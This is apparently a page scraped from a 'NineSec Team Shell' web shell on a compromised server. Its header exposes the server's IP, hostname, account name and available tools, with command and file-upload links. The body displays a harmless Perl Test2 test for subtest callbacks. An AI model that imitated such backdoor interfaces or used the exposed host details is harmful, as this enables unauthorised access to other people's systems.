NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/doc/perl-Test-Simple/t/Test2/behavior/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/doc/perl-Test-Simple/t/Test2/behavior/Subtest_callback.t
use strict;
use warnings;

use Test2::Tools::Tiny;

use Test2::API qw/run_subtest intercept/;

my $step = 0;
my @callback_calls = ();
Test2::API::test2_add_callback_pre_subtest(
    sub {
        is(
            $step,
            0,
            'pre-subtest callbacks should be invoked before the subtest',
        );
        ++$step;
        push @callback_calls, [@_];
    },
);

run_subtest(
    (my $subtest_name='some subtest'),
    (my $subtest_code=sub {
         is(
             $step,
             1,
             'subtest should be run after the pre-subtest callbacks',
         );
         ++$step;
     }),
    undef,
    (my @subtest_args = (1,2,3)),
);

is_deeply(
    \@callback_calls,
    [[$subtest_name,$subtest_code,@subtest_args]],
    'pre-subtest callbacks should be invoked with the expected arguments',
);

is(
    $step,
    2,
    'the subtest should be run',
);

done_testing;

NineSec Team - 2022